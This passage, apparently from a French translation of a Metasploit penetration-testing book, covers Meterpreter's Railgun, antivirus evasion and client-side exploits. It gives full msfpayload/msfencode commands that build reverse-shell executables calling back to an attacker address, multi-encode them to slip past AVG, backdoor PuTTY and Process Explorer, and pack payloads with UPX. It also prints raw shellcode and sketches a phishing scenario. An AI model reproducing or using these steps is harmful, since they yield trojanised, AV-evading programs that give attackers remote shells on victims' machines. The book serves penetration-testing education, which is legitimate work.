Railgun au Metasploit framework, vous pouvez appeler les API Windows
en mode natif par Meterpreter, le tout depuis lAPI Windows. Par
exemple, dans la dmonstration suivante, nous allons passer dans un shell
interactif Ruby (irb), disponible via Meterpreter. Le shell irb nous permet
dinteragir directement avec Meterpreter avec la syntaxe Ruby. Nous
appelons Railgun dans cet exemple et crons un simple pop-up disant
"hello world".
meterpreter > irb
[*] Starting IRB shell
[*] The client variable holds the meterpreter client
>> client.railgun.user32.MessageBoxA(0,"hello","world","MB_OK")
Sur la machine cible Windows XP, vous devriez voir un pop-up avec
world dans la barre de titre et hello dans la bote de message. Dans cet
exemple, nous avons tout simplement appel le user32.dll et la fonction
MessageBoxA, qui prend les paramtres comme indiqu.
Note
Pour une liste de tous les appels dAPI documents, visitez
http://msdn.microsoft.com/.
Nous ne traiterons pas Railgun en dtail (vous pouvez trouver un tutoriel
dans le framework dans le rpertoire
external/source/meterpreter/source/extensions/stdapi/ server/railgun/),
mais cela vous donne une ide de sa puissance.
Les implications sont normes : Railgun donne les mmes capacits
quune application native Win32 avec un accs complet lAPI
Windows.
Conclusion
Jespre que vous tes maintenant assez laise avec Meterpreter. Nous
navons pas pass au crible tous ses flags et toutes ses options, parce que
nous dsirons que votre connaissance de Meterpreter se dveloppe en
lexprimentant et en lutilisant. Cest un outil en constante volution avec
une norme quantit de support pour les scripts et les ajouts. Une fois que
vous serez laise avec linterface globale, vous serez en mesure de
matriser quelque chose de nouveau. Au Chapitre 16, vous apprendrez
crer vos propres scripts Meterpreter partir de zro et dcouvrirez la
structure gnrale dun script Meterpreter.
7
viter la dtection
Sommaire
Cration de binaires autonomes avec MSFpayload
chapper la dtection antivirus
Multiencodage
Modles dexcutables personnaliss
Lancement furtif dun payload
Les packers
Un dernier mot sur le contournement dantivirus
Lorsque vous effectuez un test de pntration, rien nest plus
embarrassant que dtre pris par les logiciels antivirus. Cest lun des
petits dtails qui peuvent tre ngligs assez facilement. Si vous ne faites
pas de plan pour chapper la dtection par les logiciels antivirus, votre
cible saura rapidement quil y a un problme. Dans ce chapitre, nous
allons couvrir les situations dans lesquelles le logiciel antivirus peut tre
un problme et voquer les solutions possibles.
La plupart des logiciels antivirus utilisent des signatures pour identifier les
aspects du code malveillant qui sont prsents dans un chantillon de
logiciel malveillant. Ces signatures sont charges dans les moteurs
antivirus, puis utilises pour scanner le stockage sur disque et les
processus excuts la recherche de correspondances. Lorsquune
correspondance est trouve, le logiciel antivirus prend certaines mesures
pour rpondre la situation : la plupart mettent le fichier binaire en
quarantaine ou terminent le processus en cours dexcution.
Comme vous pouvez limaginer, ce modle prsente des problmes
grande chelle. Dune part, la quantit de code malveillant sur Internet
induit quun antivirus disposant de signatures peut uniquement vrifier les
fichiers la vitesse de la mise en correspondance de ces signatures. De
plus, celles-ci doivent tre suffisamment prcises pour se dclencher
uniquement quand elles rencontrent des programmes malveillants, pas
dans le cas de logiciels lgitimes. Ce modle est relativement facile
mettre en uvre, mais il offre un succs limit dans la pratique.
Cela dit, les diteurs dantivirus gagnent beaucoup dargent et de
nombreuses personnes intelligentes et talentueuses travaillent dans cette
industrie. Si vous prvoyez dutiliser un payload qui nest pas construit sur
mesure, vous pouvez vous attendre ce que lantivirus le dtecte.
Pour chapper aux antivirus, nous pouvons crer des payloads sur mesure
pour faire en sorte quils ne contiennent aucune signature connue. En
outre, lorsque nous lanons des exploits directement comme un systme,
les payloads Metasploit sont conus pour fonctionner en mmoire et ne
jamais crire des donnes sur le disque dur. Quand nous envoyons un
payload dans le cadre dun exploit, la plupart des antivirus ne dtectent
pas quil a t excut sur la cible.
Plutt que de se concentrer sur les commandes spcifiques, nous allons
nous concentrer sur les concepts sous-jacents. Considrez les types de
caractristiques qui pourraient dclencher le logiciel antivirus et essayez
dutiliser les techniques prsentes ici pour modifier des portions de code
de sorte quelles ne correspondent plus aux signatures antivirus. Nayez
pas peur dexprimenter.
Cration de binaires autonomes avec MSFpayload
Avant de nous pencher sur la manire dchapper aux antivirus,
regardons comment crer des payloads binaires autonomes avec
Metasploit grce msfpayload. Pour commencer, nous allons crer un
reverse shell simple qui se connecte lattaquant et renvoie un shell.
Nous allons utiliser msfpayload et windows/shell_reverse_tcp. Mais
dabord, penchons-nous sur les options disponibles pour le payload
shell_reverse_tcp en utilisant le flag O en .
root@bt:/# msfpayload windows/shell_reverse_tcp O

. . . SNIP . . .

Basic options:
Name
Current
Setting
---- --------------- -------- -----------
EXITFUNC process yes
process
Maintenant, nous allons lancer nouveau msfpayload et fournir les
options ncessaires la cration de ce payload au format Windows
Portable Executable (PE). Pour ce faire, nous ajoutons loption X, comme
indiqu en comme format de sortie :
root@bt:/# msfpayload windows/shell_reverse_tcp
LHOST=192.168.1.101 LPORT=31337 X > /var/www/payload1.exe
root@bt:/# file /var/www/payload1.exe
var/www/payload1.exe: MS-DOS executable PE for MS Windows
(GUI) Intel 80386 32-bit
Ayant dsormais un excutable fonctionnel, nous pouvons lancer un
listener avec le module multi/handler dans msfconsole. Ce module permet
Metasploit dcouter les reverse connections.
msf > use exploit/multi/handler
msf exploit(handler) > show options

. . . SNIP . . .


Name Current
Setting
---- --------------- -------- -----------
process
LHOST 192.168.1.101 yes The local address

. . . SNIP . . .

msf exploit(handler) > set PAYLOAD windows/shell_reverse_tcp
PAYLOAD => windows/shell_reverse_tcp
LHOST => 192.168.1.101
LPORT => 31337
msf exploit(handler) >
Nous utilisons dabord le module multi/handler en et jetons un coup
dil aux options en . Ensuite, nous avons paramtr notre payload de
sorte que ce soit un reverse shell Windows en afin quil corresponde
au comportement de lexcutable que nous avons cr plus tt, puis dfini
ladresse IP en et le port couter en . Nous voil prts.
Nous allons utiliser lantivirus populaire AVG dans les exemples suivants.
Comme cela peut prendre un certain temps et de multiples essais afin de
russir contourner certains moteurs antivirus, nous commenons par
vrifier lantivirus avant de dployer notre payload afin de sassurer que
ce dernier parviendra passer avant son dploiement sur la cible.
Dans ce cas, lorsque nous testons notre payload avec AVG, nous voyons
quil est dtect (voir Figure 7.1).
Figure 7.1
AVG a dtect notre payload.
Encodage avec MSFencode
Une des meilleures faons dviter dtre stopp par un logiciel antivirus
est dencoder le payload avec msfencode. Cest un outil qui modifie le
code dun fichier excutable afin quil ne soit pas repr par un antivirus,
tout en continuant fonctionner de la mme manire. Tout comme la
pice jointe binaire dun e-mail encode en Base64, msfencode encode
lexcutable dorigine dans un nouveau fichier binaire. Puis, lorsque
lexcutable est lanc, msfencode dcode le code original en mmoire et
lexcute.
Vous pouvez utiliser msfencode -h pour afficher la liste des options
dutilisation de msfencode. Parmi les options de msfencode, les formats
dencodage sont parmi les plus importantes. Pour lister des formats
dencodage, nous utilisons msfencode -l, comme illustr ci-aprs. Notez
que diffrents encodeurs sont utiliss pour diffrentes plateformes car,
par exemple, un encodeur Power PC (PPC) ne fonctionnera pas
correctement sur une plateforme x86 en raison des diffrences entre les
deux architectures.
root@bt:/opt/framework3/msf3# msfencode -l

Framework Encoders
==================

---- ---- -----------
cmd/generic_sh good
Generic Shell Variable
Substitution Command Encoder
cmd/ifs low
Generic ${IFS} Substitution
Command Encoder
generic/none normal The "none" Encoder
mipsbe/longxor normal XOR Encoder
mipsle/longxor normal XOR Encoder
php/base64 normal PHP Base64 encoder
ppc/longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
x64/xor normal XOR Encoder
x86/alpha_mixed low
Alpha2 Alphanumeric Mixedcase
Encoder
x86/alpha_upper low
Alpha2 Alphanumeric Uppercase
Encoder
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/countdown normal
Single-byte XOR Countdown
Encoder
x86/fnstenv_mov normal
Variable-length Fnstenv/mov
Dword XOR Encoder
x86/jmp_call_additive normal
Jump/Call XOR Additive
Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/shikata_ga_nai excellent
Polymorphic XOR Additive
Feedback Encoder
x86/single_static_bit manual Single Static Bit
x86/unicode_mixed manual
Alpha2 Alphanumeric Unicode
Mixedcase Encoder
x86/unicode_upper manual
Alpha2 Alphanumeric Unicode
Uppercase Encoder
Maintenant, nous allons lancer un encodage simple dun payload
Metasploit en important des donnes brutes partir de msfpayload dans
msfencode pour voir quel est le rsultat de la dtection de notre antivirus :
root@bt:/# msfpayload windows/shell_reverse_tcp
LHOST=192.168.1.101 LPORT=31337 R | msfencode -e
x86/shikata_ga_nai -t exe > /var/www/payload2.exe
[*] x86/shikata_ga_nai succeeded with size 342 (iteration=1)

root@bt:/# file /var/www/payload2.exe
/var/www/2.exe: MS-DOS executable PE for MS Windows (GUI) Intel
80386 32-bit
Nous ajoutons le flag R en la ligne de commande msfpayload pour
spcifier la sortie brute (Raw output), parce que nous allons rediriger la
sortie directement dans msfencode. Nous spcifions lencodeur
x86/shikata_ga_nai en et allons demander msfencode de stocker le
fichier excutable en sortie -t exe dans le fichier
/var/www/payload2.exe. Enfin, on lance une rapide vrification en
afin de sassurer que le fichier rsultant est un excutable Windows.
Laffichage montre que cest bien le cas. Malheureusement, une fois que
le fichier payload2.exe est copi sur le systme Windows, AVG dtecte
encore une fois notre payload encod (voir Figure 7.2).
Figure 7.2
AVG a dtect notre payload encod.
Multiencodage
Lorsque nous effectuons une dtection antivirus sans avoir modifi le
binaire statique, cest toujours un jeu du chat et de la souris, parce que les
signatures antivirus sont frquemment mises jour pour dtecter les
nouveaux payloads (et ceux qui sont modifis). Dans le framework, nous
pouvons obtenir de meilleurs rsultats grce au multiencodage, qui
permet au payload dtre encod plusieurs fois pour se dbarrasser des
antivirus qui vrifient les signatures.
Dans lexemple prcdent, le codage shikata_ga_nai est polymorphe, ce
qui signifie que le payload va changer chaque fois que le script sera
excut. Bien sr, le payload qui sera dtect par un antivirus est un
mystre. Chaque fois que vous gnrez un payload, le mme antivirus
peut le dtecter une fois et le manquer une autre fois.
Il est recommand de tester le script en utilisant une version dvaluation
dun antivirus pour voir sil le contourne avant de lutiliser dans un test de
pntration. Voici un exemple dutilisation dencodages multiples :
LHOST=192.168.1.101 LPORT=31337 R | msfencode -e
x86/shikata_ga_nai -c 5 -t raw | msfencode -e x86/alpha_upper -
c 2 -t raw | msfencode e x86/shikata_ga_nai -c 5 -t raw |
msfencode -e x86/countdown -c 5 -t exe -o /var/www/payload3.exe
[*] x86/alpha_upper succeeded with size 921 (iteration=1)
[*] x86/alpha_upper succeeded with size 1911 (iteration=2)
[*] x86/countdown succeeded with size 2074 (iteration=1)
root@bt:/opt/framework3/msf3#
Ici, nous utilisons cinq boucles dencodage de shikata_ga_nai diffrentes
en , produisant le code au format brut en , que nous encadrons dans
deux boucles dencodage alpha_upper en qui est ensuite encod par
cinq autres boucles de shikata_ga_nai , suivies par cinq boucles
dencodage countdown en , avant dtre enfin dirig vers la sortie sous
forme dexcutable. Nous utilisons un total de 17 boucles dencodage
dans cette tentative de contournement dantivirus. Et, comme vous
pouvez le voir la Figure 7.3, nous avons russi faire passer notre
payload dans le moteur antivirus.
Figure 7.3
AVG na pas dtect le payload multiencod.
En gnral, lorsque msfencode est excut, le payload est intgr dans le
modle dexcutable par dfaut data/templates/template.exe. Bien que ce
modle soit modifi loccasion, les vendeurs dantivirus continuent de le
surveiller lors de la construction de signatures. Cependant, msfencode
prend dsormais en charge lutilisation dun excutable Windows la
place du modle dexcutable par dfaut via loption -x. Dans lexemple
suivant, nous codons notre nouveau payload en utilisant le Process
Explorer de Sysinternals Suite de Microsoft en tant que modle
excutable personnalis.
root@bt:/opt/framework3/msf3# wget
http://download.sysinternals.com/Files/ProcessExplorer.zip

. . . SNIP . . .

2011-03-21 17:14:46 (119 KB/s) - ProcessExplorer.zip saved
[1615732/1615732]

root@bt:/opt/framework3/msf3# cd work/
root@bt:/opt/framework3/msf3/work# unzip ../ProcessExplorer.zip
Archive: ../ProcessExplorer.zip
inflating: procexp.chm
inflating: procexp.exe
inflating: Eula.txt
root@bt:/opt/framework3/msf3/work# cd ..
windows/shell_reverse_tcp LHOST=192.168.1.101 LPORT=8080 R |
msfencode -t exe -x work/procexp.exe -o
/var/www/pe_backdoor.exe -e x86/shikata_ga_nai -c 5
Comme vous pouvez le voir en , nous tlchargeons Process Explorer
de Microsoft, puis on le dcompresse en . Puis, en nous utilisons
loption -x pour spcifier le binaire Process Explorer tlcharg pour une
utilisation en tant que notre modle personnalis. Une fois lencodage
termin, nous dmarrons le multi-handler via msfcli pour couter la
connexion entrante, comme indiqu ici :
root@bt:/opt/framework3/msf3# msfcli exploit/multi/handler
PAYLOAD=windows/ shell_reverse_tcp LHOST=192.168.1.101
LPORT=8080 E
[*]
192.168.1.195:1191)

C:\Documents and Settings\Administrator\My Documents\Downloads>
Et voil. Nous avons russi ouvrir un shell sans tre dtects par les
antivirus.
Figure 7.4
Lexcutable backdoored nest pas dtect par AVG.
En gnral, quand un utilisateur cible lance un fichier excutable
backdoored, comme celui que nous venons de gnrer, rien ne semble se
passer ; et cela peut veiller les soupons. Pour amliorer vos chances de
ne pas vous faire reprer par la cible, vous pouvez lancer un payload tout
en continuant lexcution normale de lapplication lance, comme
indiqu ici:
root@bt:/opt/framework3/msf3# wget http://the.earth.li/~sgtatham/
putty/latest/x86/putty.exe

. . . SNIP . . .

2011-03-21 17:02:48 (133 KB/s) putty.exe saved [454656/454656]
windows/shell_reverse_tcp
LHOST=192.168.1.101 LPORT=8080 R | msfencode -t exe -x
putty.exe -o /var/
www/putty_backdoor.exe -e x86/shikata_ga_nai -k -c 5
Dans ce code, on tlcharge le client SSH Windows PuTTY en et
ensuite nous y accdons en utilisant le flag -k en . Celui-ci configure le
payload pour le lancer dans un thread spar de lexcutable principal
afin que lapplication se comporte normalement pendant que le payload
est en cours dexcution. Maintenant, comme le montre la Figure 7.5,
lorsque cet excutable est scann par AVG, il lui apparat sain mais doit
sexcuter tout en nous prsentant un shell ! Notez que cette option ne
fonctionne pas avec tous les excutables, donc noubliez pas faire des
tests avant le dploiement.
En choisissant dintgrer un payload dans un excutable, vous devez
prendre en considration lutilisation dapplications graphiques si vous ne
spcifiez pas loption -k. Quand un payload est incorpor dans une
application console et quil est excut, il affiche une fentre de console
qui ne ferme pas jusqu ce que vous ayez fini de lutiliser. Si vous
choisissez une application GUI et ne spcifiez pas loption -k, quand le
payload sera excut, la cible ne verra pas de fentre console. Prter
attention ces petits dtails peut vous aider rester discret lors dun test
dintrusion.
Figure 7.5
AVG dclare le payload sain et lordinateur scuris.
Les packers
Les packers sont des outils qui compressent un excutable et le chiffrent
la fois. Lorsque ce nouvel excutable est excut, le code de
dcompression recre lexcutable dorigine partir du code compress
avant de lexcuter. Cela se produit gnralement de manire
transparente et le fichier excutable compress peut tre utilis
exactement de la mme faon que loriginal. Le rsultat du processus de
packing est un petit excutable qui conserve toutes les fonctionnalits de
loriginal.
Comme avec msfencode, les packers changent la structure dun fichier
excutable. Cependant, contrairement au processus dencodage de
msfencode, qui augmente souvent la taille dun fichier excutable, un
logiciel de compression choisi avec soin va utiliser diffrents algorithmes
pour la fois compresser et crypter un fichier excutable. Ensuite, nous
utilisons le fameux packer UPX avec Back|Track pour compresser et
encoder notre payload3.exe afin de tenter dchapper la dtection des
antivirus.
root@bt:/# apt-get install upx

. . . SNIP . . .

root@bt:/# upx
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2009
UPX 3.04 Markus Oberhumer, Laszlo Molnar & John Reiser Sep 27th
2009
Usage: upx [-123456789dlthVL] [-qvfk] [-o file] file..

. . . SNIP . . .

Type upx--help for more detailed help.
UPX comes with ABSOLUTELY NO WARRANTY; for details visit
http://upx.sf.net
root@bt:/# upx -5 /var/www/payload3.exe
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2009
UPX 3.04
Markus Oberhumer, Laszlo Molnar & John Reiser Sep 27th
2009

File size Ratio Format Name
----------------- ------ ----------- -----------

37888 -
>
22528 59.46% win32/pe payload3.exe

Packed 1 file.
En , nous installons UPX puis en , nous le lanons sans arguments pour
afficher ses options disponibles en ligne de commande. En , nous
utilisons loption -5 pour compresser et packer notre excutable. Vous
pouvez voir en que UPX comprime notre payload 59,46 %.
Lors de nos tests, seulement 9 des 42 diteurs dantivirus dtectent les
excutables packs par UPX.
Note
Le projet POLYPACK (http://jon.oberheide.org/files/woot09-
polypack.pdf) montre les rsultats de packages de binaires malveillants
connus avec les diffrents packers et lefficacit de la dtection antivirus
avant et aprs le processus de packing.
MSFvenom
Dans ce chapitre, nous ne couvrons que les utilitaires msfpayload et
msfencode, mais un outil complmentaire appel msfvenom est
disponible, il combine les fonctionnalits de msfpayload et de
msfencode dans une interface simple utiliser. Msfvenom nest pas
couvert en dtail dans ce livre (voir lannexe B), mais il devrait tre
trs facile utiliser une fois que vous vous serez familiaris avec
msfpayload et msfencode.
Le monde du logiciel antivirus bouge trs rapidement, autant que les
standards Internet. ce jour, les mthodes et les procds dcrits dans le
prsent chapitre fonctionnent avec succs, mais le pass a dmontr
quen seulement quelques mois des changements majeurs dans la faon
de contourner les antivirus peuvent apparatre. Bien que lquipe
Metasploit peaufine constamment ses payloads et tente de garder une
longueur davance sur les algorithmes de dtection, ne soyez pas surpris
si, au moment o vous travaillez sur ces exemples, certains fonctionnent
et dautres non. Lorsque vous essayez de contourner la dtection dun
antivirus, pensez utiliser les packers multiples ou encodeurs, comme
mentionn, ou mme crire vos propres payloads. Le contournement
des antivirus, comme toutes les comptences ncessaires aux tests de
pntration, doit tre pratiqu et ncessite une recherche personnalise
pour vous aider assurer le succs de vos missions.
8
Exploitation utilisant les attaques
ct client
Sommaire
Les exploits bass sur les navigateurs
Utilisation dImmunity Debugger pour dcrypter du
shellcode NOP
Exploration de lexploit Aurora dInternet explorer
Les exploits sur les formats de fichiers
Envoi du payload
Des annes de concentration sur les primtres rseau dfensifs ont
considrablement diminu les surfaces dattaque traditionnelles. Lorsque
lun des moyens dattaque devient trop difficile exploiter, les attaquants
peuvent trouver de nouvelles mthodes plus faciles. Les attaques ct
client sont la prochaine volution dattaque maintenant que la dfense des
rseaux est devenue plus importante. Ces attaques ciblent les logiciels
gnralement installs sur les ordinateurs dont nombre de programmes
tels que les navigateurs web, les lecteurs PDF et les applications de la
suite Microsoft Office. Du fait que ces programmes sont gnralement
prsents sur des ordinateurs prinstalls, ils sont des vecteurs dattaque
vidents pour les pirates. Il est galement frquent que ces applications
ne soient pas jour sur les ordinateurs des utilisateurs en raison des
cycles de patching irrguliers. Metasploit inclut un certain nombre
dexploits ct client printgrs que nous aborderons en dtail dans ce
chapitre.
Si vous pouvez contourner toutes les mesures de protection quune
entreprise a mises en place et vous infiltrer dans un rseau en incitant un
utilisateur cliquer sur un lien malveillant, vous avez une bien meilleure
chance de parvenir une compromission. Supposons, par exemple, que
vous effectuiez un test de pntration bote noire contre une entreprise
cible en utilisant lingnierie sociale. Vous dcidez que lenvoi dun e-
mail de phishing ciblant les utilisateurs prsentera votre meilleure chance
de succs. Vous rcoltez les comptes de messagerie, les noms et numros
de tlphone, vous pluchez les rseaux sociaux et crez une liste
demploys qui y travaillent. Votre e-mail malveillant indique aux
destinataires que les informations de fiches de paie doivent tre mises
jour. Pour ce faire, ils ont besoin de cliquer sur un lien (un lien
malveillant) dans le-mail. Ds que lutilisateur clique sur le lien, la
machine est compromise, et vous pouvez accder au rseau interne de
lentreprise.
Ce scnario est une technique courante, rgulirement utilise la fois
dans les tests de pntration et dans les attaques malveillantes actuelles. Il
est souvent plus facile dattaquer par le biais des utilisateurs que
dexploiter les ressources exposes Internet. La plupart des entreprises
consacrent un montant significatif dargent pour protger leurs systmes
frontaux Internet avec des outils tels que les systmes de prvention
dintrusions (IPS) et pare-feu applicatifs, alors quelles ninvestissent
presque pas dans la sensibilisation de leurs utilisateurs en matire
dattaques dingnierie sociale.
En mars 2011, RSA, une entreprise de scurit bien connue, a t
compromise par un pirate informatique sappuyant sur ce mme
processus. Un utilisateur malveillant a envoy un e-mail trs cibl (spear-
phishing), conu spcifiquement pour une vulnrabilit zero-day dAdobe
Flash (le spear-phishing est une attaque pour laquelle les attaquants se
sont fortement documents sur une cible dsigne plutt que choisie de
faon alatoire partir dun carnet dadresses dune entreprise). Dans le
cas de RSA, le-mail prenait pour cible un groupe restreint dutilisateurs
et a russi compromettre les systmes internes connects de RSA et
pntrer davantage son rseau.
Dans ce chapitre, nous allons nous concentrer sur les exploits bass sur
les navigateurs au sein de Metasploit. Ce sont des techniques importantes,
parce que dans beaucoup dentreprises, les utilisateurs passent plus de
temps sur leurs navigateurs web que sur toutes les autres applications
installes sur leurs ordinateurs.
Prenons un autre scnario : nous envoyons un e-mail un petit groupe
dans une entreprise avec un lien sur lequel chaque utilisateur doit cliquer.
Cela fait, lutilisateur ouvre le lien de notre site web spcialement conu
pour exploiter une vulnrabilit dans une certaine version dInternet
Explorer. Le navigateur de lutilisateur est vulnrable cet exploit et est
maintenant en pril simplement par les utilisateurs qui visitent notre site
web malveillant. De notre ct, laccs aura t acquis par un payload
(Meterpreter par exemple) excut dans le contexte de lutilisateur qui a
visit notre site.
Notez un lment important dans cet exemple : si lutilisateur cible
dispose des droits administrateurs, lattaquant (nous) en bnficiera. Les
exploits ct client fonctionnent en gnral avec les mmes autorisations
et droits que la cible quils exploitent. Il sagit souvent dun utilisateur
ordinaire sans droits dadministration, de sorte que nous devons effectuer
une escalade de privilges pour obtenir un accs supplmentaire. Un
exploit supplmentaire est alors ncessaire pour lever les privilges. On
pourrait aussi potentiellement attaquer dautres systmes sur le rseau,
dans lespoir datteindre le niveau daccs administrateur. Dans dautres
cas, cependant, les niveaux dautorisation de lutilisateur actuel sont
suffisants pour mener bien linfiltration. Penchez-vous sur votre
situation : vos donnes importantes sont-elles accessibles via des comptes
dutilisateurs ? Ou sont-elles accessibles uniquement grce au compte
administrateur ?
Comment les exploits bass sur les navigateurs fonctionnent-ils ?
Les exploits bass sur les navigateurs sont analogues nimporte quels
exploits traditionnels mais avec une diffrence majeure : la mthode
utilise pour linjection du shellcode. Dans un exploit traditionnel, le but
de tout attaquant est dobtenir lexcution du code distance et dinjecter
un payload malveillant. Dans les exploits sur les navigateurs, la faon la
plus traditionnelle pour obtenir lexcution de code distance se fait par
une technique dexploitation appele heap spraying. Mais avant de
lexaminer, nous allons parler de ce quest le heap et comment il est
utilis.
Le heap est la mmoire non alloue utilise par une application en
fonction de ses besoins pour la dure de lexcution du programme.
Lapplication allouera la mmoire ncessaire pour complter nimporte
quelle tche quelle a effectuer. Le heap est bas sur la quantit de
mmoire disponible sur votre ordinateur et il est utilis durant le cycle de
vie de lapplication. Lemplacement de la mmoire alloue lexcution
nest pas connu lavance, aussi, en tant quattaquants, nous ne saurions
pas o placer notre shellcode. Les pirates ne peuvent pas simplement
appeler une adresse mmoire et esprer atterrir au dbut du payload. Le
caractre alatoire de la mmoire alloue par le heap len empche et
cela tait un dfi majeur avant que le heap spraying ne soit dcouvert.
Avant de poursuivre, vous devez galement comprendre le concept
dune instruction de non-opration (NOP, no-operation instruction) et du
slide NOP. Les NOP sont traites en dtail au Chapitre 15, mais nous
allons en exposer les bases ici, car elles sont importantes pour
comprendre comment fonctionne le heap spray. Une NOP est une
instruction assembleur qui dit : "ne rien faire et passer linstruction
suivante". Un slide NOP comprend plusieurs NOP cte cte dans la
mmoire, prenant essentiellement de la place. Si le flux dexcution dun
programme se heurte une srie dinstructions NOP, il sera linaire
"slide" jusqu la fin de celles-ci, et ce jusqu linstruction suivante. Une
NOP, dans larchitecture Intel x86, possde un opcode de 90, souvent vu
dans le code de lexploit en tant que \x90.
La technique de heap spray consiste remplir le heap avec un nombre
connu de rptitions de slides NOP suivi de votre shellcode jusqu
remplir lespace mmoire en entier avec la valeur connue. Vous vous
souvenez sans doute que la mmoire dans le heap est alloue
dynamiquement lors de lexcution du programme. Cela se fait
gnralement via du JavaScript, ce qui provoque une augmentation
significative de la mmoire alloue par le navigateur. Lattaquant remplit
de gros blocs de mmoire avec des slides NOP et son shellcode juste
derrire. Lorsque le flux dexcution du programme est modifi et saute
au hasard quelque part dans la mmoire, il a une bonne chance de tomber
sur un slide NOP et finalement de finir dans le shellcode. Au lieu de
chercher une aiguille dans une botte de foin (le shellcode dans la
mmoire), la mthode heap spray offre une chance de 85 90 % de
russite.
Cette technique a chang la donne dans lexploitation des navigateurs et
dans la fiabilit de lexploitation des bugs des navigateurs. Nous ne
couvrirons pas le code rel derrire le heap spray, parce que cest un
sujet dexploitation avanc, mais vous devez connatre les bases afin de
comprendre comment fonctionnent ces exploits bass sur les navigateurs.
Avant de commencer le lancement de notre premier exploit navigateur,
regardons ce qui se passe rellement dans les coulisses quand un exploit
est lanc.
propos des NOP
Maintenant que vous comprenez les bases du heap spray et de la NOP,
nous allons jeter un coup dil un slide NOP gnrique dans un exploit
rel. Dans le listing suivant, notez la reprsentation hexadcimale des
\x90, lopcode des architectures Intel x86. Une 90 en assembleur
Intel x86 est une NOP. Ici vous pouvez voir une srie de \x90 qui crent
notre effet de slide NOP. Le reste du code est le payload, comme un
reverse shell ou un shell Meterpreter.
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30
\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff
\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2
\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85
\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3
\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d
\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58
\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b
\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff
\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68
\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01
\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50
\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x31
\xdb\x53\x68\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56\x57\x68\xc2
\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5\x53
\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97\x68\x75\x6e\x4d
\x61\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff
\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58
\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9
\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3
Utilisation dImmunity Debugger pour dcrypter du
shellcode NOP
Les debuggers offrent un aperu sur ltat dexcution dun programme,
y compris le flux des instructions assembleur, le contenu de la mmoire et
le dtail des exceptions. Les pentesters utilisent les debuggers
rgulirement afin didentifier des vulnrabilits zero-day et de
comprendre comment fonctionne une application et comment lattaquer.
Un certain nombre de debuggers sont disponibles, mais notre prfrence
personnelle (il sera utilis dans les chapitres suivants) va vers Immunity
Debugger. Nous vous recommandons de jeter un il sur les principes de
base de Immunity Debugger avant de poursuivre.
Pour comprendre ce que fait un slide NOP, nous allons utiliser un
debugger pour examiner la faon dont le shellcode NOP de notre
exemple prcdent fonctionne. Sur votre Windows XP cible, tlchargez
et installez Immunity Debugger partir http://www.immunityinc.com/.
Nous allons utiliser la commande msfpayload et gnrer un chantillon de
shellcode pour un simple bind shell TCP, coutant sur le port 443.
Comme vous lavez appris dans les chapitres prcdents, un bind shell
coute simplement un port sur une machine cible laquelle on peut se
connecter.
root@bt:/opt/framework3/msf3# msfpayload windows/shell/bind_tcp
LPORT=443 C
Lorsque ces commandes sont excutes, les shellcodes "stage 1" et
"stage 2" sont crs en sortie. Nous ne nous intressons quau stage 1 du
shellcode, car Metasploit va grer lenvoi du deuxime stage pour nous
quand on sy connectera. Copiez-collez le shellcode depuis stage 1 dans
un diteur de texte de votre choix. Vous aurez besoin de faire quelques
modifications mineures avant de continuer.
Maintenant que vous avez votre shellcode de base, ajoutez des NOP
autant que vous le souhaitez au dbut de celui-ci (tel que
\x90\x90\x90\x90\x90). Ensuite, retirez toutes les occurrences \x de sorte
que cela ressemble ce qui suit :
909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090fce8890000006089e531d2648b52308b520c8b52148b72280fb74a2631ff31c0ac3c617c022c20c1cf0d01c7e2f052578b52108b423c01d08b407885c0744a01d0508b48188b582001d3e33c498b348b01d631ff31c0acc1cf0d01c738e075f4037df83b7d2475e2588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe0585f5a8b12eb865d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd5505050504050405068ea0fdfe0ffd59731db5368020001bb89e66a10565768c2db3767ffd5535768b7e938ffffd55353576874ec3be1ffd5579768756e4d61ffd56a006a0456576802d9c85fffd58b366a406800100000566a006858a453e5ffd593536a005653576802d9c85fffd501c329c685f675ecc3
Tout cela est ncessaire car vous avez besoin dutiliser un format
particulier pour quImmunity Debugger accepte le copier-coller de vos
